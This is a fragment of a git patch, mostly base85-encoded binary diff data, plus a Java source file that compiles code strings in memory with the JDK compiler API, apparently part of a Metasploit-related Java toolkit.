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 compOptList = null; + if (compOptions != null) { compOptList = Arrays.asList(compOptions); } + + JavaCompiler compiler = ToolProvider.getSystemJavaCompiler(); + + // Need to add a check that classNames.length == codeContent.length, else we're fubared. + List files = new ArrayList () ; + int i = 0; + for (String codePage : codeContent) { + files.add(new JavaSourceFromString(classNames[i], codePage)); + i++; + } + + Iterable compilationUnits = files; + + JavaCompiler.CompilationTask task = compiler.getTask(null, null, null, compOptList, null, compilationUnits); + + boolean success = task.call(); + + return success; + + } +} + +class JavaSourceFromString extends SimpleJavaFileObject { + final String code; + + JavaSourceFromString(String name, String code) { + super(URI.create("string:///" + name.replace('.','/') + Kind.SOURCE.extension),Kind.SOURCE); + this.code = code; + } + + @Override + public CharSequence getCharContent(boolean ignoreEncodingErrors) { + return code; + } +} + diff --git a/external/source/msfJavaToolkit/javaCompile/CreateJarFile.class b/external/source/msfJavaToolkit/javaCompile/CreateJarFile.class new file mode 100644 index 0000000000000000000000000000000000000000..a6a1cce13ad493338adfdf380bfa59c6e95c0b4c GIT binary patch literal 1833 